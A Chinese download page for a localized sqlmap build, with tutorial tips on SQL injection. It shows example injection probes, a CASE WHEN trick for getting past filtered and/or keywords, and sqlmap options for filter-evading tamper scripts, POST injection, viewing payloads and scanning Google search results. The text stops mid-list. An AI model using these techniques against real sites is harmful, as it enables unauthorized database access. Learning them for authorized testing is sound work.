sqlmap 一个自动SQL 射入工具(sqlmap.py)汉化直接可用版
类型:扫瞄攻击大小:14MB语言:英文软件时间:2015-01-04查看详情TIP1
当我们注射的时候,判断注入
http://site/script?id=10 http://site/script?id=11-1 # 相当于 id=10
http://site/script?id=(select 10) # 相当于 id=10
http://site/script?id=10 and 1=1 #失败
通过判断可发现and和or被过滤
http://site/script?id=10 # 失败
http://site/script?id=10; #失败
http://site/script?id=10); #失败
http://site/script?id=10)subquery; #失败
你可以用burp的intruder的字典跑,但是仍然失败。
这里可以用到SQL语句的case when then else end语句
CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。 可以这样子理解:CASE WHEN THEN ELSE END
CASE WHEN 语法有两种情况: 第一种是CASE 后面不带表达式的;
CASE WHEN expression THEN 操作1
WHEN expression THEN 操作2
.......
ELSE 操作n
END
第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。
CASE expression
WHEN expression值1 THEN 操作1
WHEN expression值2 THEN 操作2
.......
ELSE 操作n
END
http://host/script?id=11-(case when 1=1 then 1 else 0 end) 用1=1跟1=2测试http://host/script?id=10 # 当条件为真的时候 http://host/script?id=11 # 当条件为假的时候
可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢? Sqlmap默认是自己寻找注入点的,但是你加上一个*,可以引导他。 语句
sqlmap.py -u http://host/script?id=11-(case when 1=1星号 then 1)
注入最头痛的就是遇到过滤,sqlmap提供了字符转换的功能
tamper=between当然自己可以改写转换内容,文件在/tamper目录下。
关于post注入 sqlmap可以用-r参数 加载数据包
sqlmap.py -r post.txt
继续补充一点: having xor等逻辑符号也可以判断注入。
TIP2
POST注入
有两种方法来进行post注入,一种是使用
data
参数,将post的key和value用类似GET方式来提交。二是使用
-r
参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。
查看payload
之前一直是加本地代理,然后用burpsuit来看sqlmap的payload,到现在才发现用
-v
参数就可以实现。一直认为
-v
实现的只是控制警告,debug信息级别。实际上使用
-v 3
就可以显示注入的payload,4,5,6还可以显示HTTP请求,HTTP响应头和页面。
使用google搜索
sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数
-g
。不过感觉实际使用中这个用的还是很少的。
请求延时


闽公网安备 35020602001684号